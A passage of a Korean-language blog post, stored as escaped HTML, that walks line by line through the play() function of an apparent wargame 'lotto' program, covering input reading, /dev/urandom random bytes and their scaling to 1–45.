normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;main 함수는 사용자로부터 menu를 입력받아, paly(), help(), 종료, exception handling을 진행한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;help(), 종료, exception handling는 문제가 될만한 source가 없다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;따라서 자세하게 play() 함수를 분석한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;play() 함수&lt;/span&gt;를 분석하면 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4 byte 정수형 자료형을 하나 선언하고 &quot;Submit your 6 lotto byte: &quot;를 출력하고 output stream을 비운다.&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;play(){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;i;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;Submit&amp;nbsp;your&amp;nbsp;6&amp;nbsp;lotto&amp;nbsp;bytes&amp;nbsp;:&amp;nbsp;&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fflush(stdout);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4 byte 정수형 자료형을 하나 선언하고, input stream으로부터 6글자를 받아 char 형 array submit에 저장한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;Lotto Start!\n&quot;를 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;r;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;read(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;submit,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;Lotto&amp;nbsp;Start!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;random number를 얻기 위해 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;/dev/urandom&lt;/span&gt;을 읽는다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;/dev/urandom은 PRNG&lt;/span&gt;로서 crypto를 설명할 때 추가적으로 적을 기회가 있을것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;rand() 함수와 같이 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;무작위 난수를 생성&lt;/span&gt;한다고 생각하면 쉽다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 file descriptor를 얻는데 실패하면 &quot;error. tell admin\n&quot;을 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;fd&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;open(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;/dev/urandom&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;O_RDONLY);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(fd&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;error.&amp;nbsp;tell&amp;nbsp;admin\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;char 형 array lotto를 선언한다. 이전 fd(file descriptor)를 이용해 /dev/urandom의 난수를 lotto에 6 byte 전달한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;read() 함수에 실패하면 &quot;error2, tell admin&quot;을 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;unsigned&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;lotto[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(read(fd,&amp;nbsp;lotto,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;error2.&amp;nbsp;tell&amp;nbsp;admin\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;lotto의 수는 1~45 사이의 숫자이기 때문에 /dev/urandom에 의해 생성된 의사 난수를 1~45 사이의 난수로 조정한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fd(file descriptor)를를 닫는다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
